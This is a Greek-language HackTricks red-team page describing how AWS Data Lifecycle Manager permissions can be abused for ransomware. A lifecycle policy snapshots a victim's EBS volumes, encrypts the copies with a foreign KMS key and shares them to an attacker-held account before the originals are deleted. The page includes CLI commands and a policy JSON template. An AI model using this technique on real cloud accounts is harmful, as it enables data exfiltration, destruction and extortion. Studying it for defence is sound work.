AWS - DLM Post Exploitation

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Διαχείριση Κύκλου Ζωής Δεδομένων (DLM)

EC2:DescribeVolumes, DLM:CreateLifeCyclePolicy

Μια επίθεση ransomware μπορεί να εκτελεστεί κρυπτογραφώντας όσο το δυνατόν περισσότερους EBS volumes και στη συνέχεια διαγράφοντας τα τρέχοντα EC2 instances, EBS volumes και snapshots. Για την αυτοματοποίηση αυτής της κακόβουλης ενέργειας, μπορεί να χρησιμοποιηθεί το Amazon DLM, κρυπτογραφώντας τα snapshots με ένα KMS key από άλλο AWS account και μεταφέροντας τα κρυπτογραφημένα snapshots σε διαφορετικό account. Εναλλακτικά, μπορεί να μεταφέρουν snapshots χωρίς κρυπτογράφηση σε ένα account που ελέγχουν και στη συνέχεια να τα κρυπτογραφήσουν εκεί. Αν και δεν είναι απλό να κρυπτογραφηθούν άμεσα υπάρχοντες EBS volumes ή snapshots, είναι δυνατό να γίνει αυτό με τη δημιουργία νέου volume ή snapshot.

Πρώτα, θα χρησιμοποιηθεί μια εντολή για τη συλλογή πληροφοριών σχετικά με τα volumes, όπως instance ID, volume ID, κατάσταση κρυπτογράφησης, κατάσταση συνημμένων (attachment status) και τύπο volume.

aws ec2 describe-volumes

Δεύτερον, θα δημιουργηθεί η lifecycle policy. Αυτή η εντολή χρησιμοποιεί το DLM API για να ρυθμίσει μια lifecycle policy που αυτομάτως παίρνει καθημερινά snapshots των καθορισμένων volumes σε συγκεκριμένη ώρα. Επίσης εφαρμόζει συγκεκριμένα tags στα snapshots και αντιγράφει tags από τα volumes στα snapshots. Το αρχείο policyDetails.json περιλαμβάνει τις λεπτομέρειες της lifecycle policy, όπως τα target tags, το schedule, το ARN του προαιρετικού KMS key για κρυπτογράφηση και το target account για sharing των snapshots, το οποίο θα καταγραφεί στα CloudTrail logs του θύματος.

aws dlm create-lifecycle-policy --description "My first policy" --state ENABLED --execution-role-arn arn:aws:iam::12345678910:role/AWSDataLifecycleManagerDefaultRole --policy-details file://policyDetails.json

Ένα πρότυπο για το έγγραφο πολιτικής φαίνεται εδώ:

{
"PolicyType": "EBS_SNAPSHOT_MANAGEMENT",
"ResourceTypes": [
"VOLUME"
],
"TargetTags": [
{
"Key": "ExampleKey",
"Value": "ExampleValue"
}
],
"Schedules": [
{
"Name": "DailySnapshots",
"CopyTags": true,
"TagsToAdd": [
{
"Key": "SnapshotCreator",
"Value": "DLM"
}
],
"VariableTags": [
{
"Key": "CostCenter",
"Value": "Finance"
}
],
"CreateRule": {
"Interval": 24,
"IntervalUnit": "HOURS",
"Times": [
"03:00"
]
},
"RetainRule": {
"Count": 14
},
"FastRestoreRule": {
"Count": 2,
"Interval": 12,
"IntervalUnit": "HOURS"
},
"CrossRegionCopyRules": [
{
"TargetRegion": "us-west-2",
"Encrypted": true,
"CmkArn": "arn:aws:kms:us-west-2:123456789012:key/your-kms-key-id",
"CopyTags": true,
"RetainRule": {
"Interval": 1,
"IntervalUnit": "DAYS"
}
}
],
"ShareRules": [
{
"TargetAccounts": [
"123456789012"
],
"UnshareInterval": 30,
"UnshareIntervalUnit": "DAYS"
}
]
}
],
"Parameters": {
"ExcludeBootVolume": false
}
}

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks